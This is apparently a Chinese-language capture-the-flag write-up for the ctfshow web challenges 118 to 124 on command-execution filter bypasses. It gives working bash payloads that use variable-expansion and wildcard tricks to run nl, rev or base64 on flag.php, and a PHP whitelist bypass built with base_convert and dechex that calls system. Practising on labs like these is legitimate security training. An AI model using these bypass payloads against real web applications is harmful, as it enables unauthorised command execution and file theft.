web 118
查看源代码,发现:<!-- system($code);-->
通过测试,没用过滤空格,我们查看提示
这个图是一个系统的环境变量的路径
${PATH:~A}${PWD:~A}表示的就是PATH的最后一个单词和PWD的最后一个单词,组合起来就是nl。
payload:${PATH:~A}${PWD:~A}$IFS????.???
相当于是:nl flag.php
web 119
这里借鉴了Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全_ctfshow web入门题解-CSDN博客
web 120
这里和119相同,但限制了字符长度,所以119的依旧可以用
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
看到其他人的rp
${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
说是在/bin/rev里面的rev输出方式是逆序输出,得到的结果在逆序输出就好
web 121
/bin/base64 flag.php → /???/?????4 ????.??? →
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
${RANDOM}
在Bash中会展开为一个0到32767之间的随机整数。${#RANDOM}
给出的是 $RANDOM
的字符串长度。这里我们的目的是要随机到一个四位数
web122
$?为上次命令的执行结果,1为不正常
这题把PWD、#过滤了。我们可以用HOME代替PWD;
<A;
${HOME::$?}?????${RANDOM::$?}????.???
这里的<A的作用是让上一次的执行结果错误,返回1,使得$?的值为1
web124
首先我们要理解正则/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/
这个的意思就是绕过数字和特殊字符,一旦存在一个字符,就自动匹配后续的内容当做函数名在白名单中检测。
所以我们现在的问题就是如何把system(cat flag.php) 参数为数字,又能将参数转化为字符串的函数,首先考虑hex2bin,但这个函数不在白名单中,我们需要现将这个函数转换为数字。
先echo base_convert('hex2bin',36,10);得到hex2bin的10进制数字base_convert(37907361743,10,36)就等于hex2bin
然后,我们需要得到'_GET',我们先将'_GET'转换为16进制,再换为10进制,为什么这样做,因为16进制里面有x,这样会匹配到正则的第一项。
执行echo hexdec(bin2hex('_GET'));
得到1598506324
所以base_convert(37907361743,10,36)(dechex(1598506324))就等于_GET了
再提交参数1=system&2=cat flag.php。这里也可以不用数字作为参数,提交白名单里的参数就好
所以payload为
?c=base_convert(37907361743,10,36)(dechex(1598506324));$$cos{1}($$cos{2})&1=system&2=cat+flag.php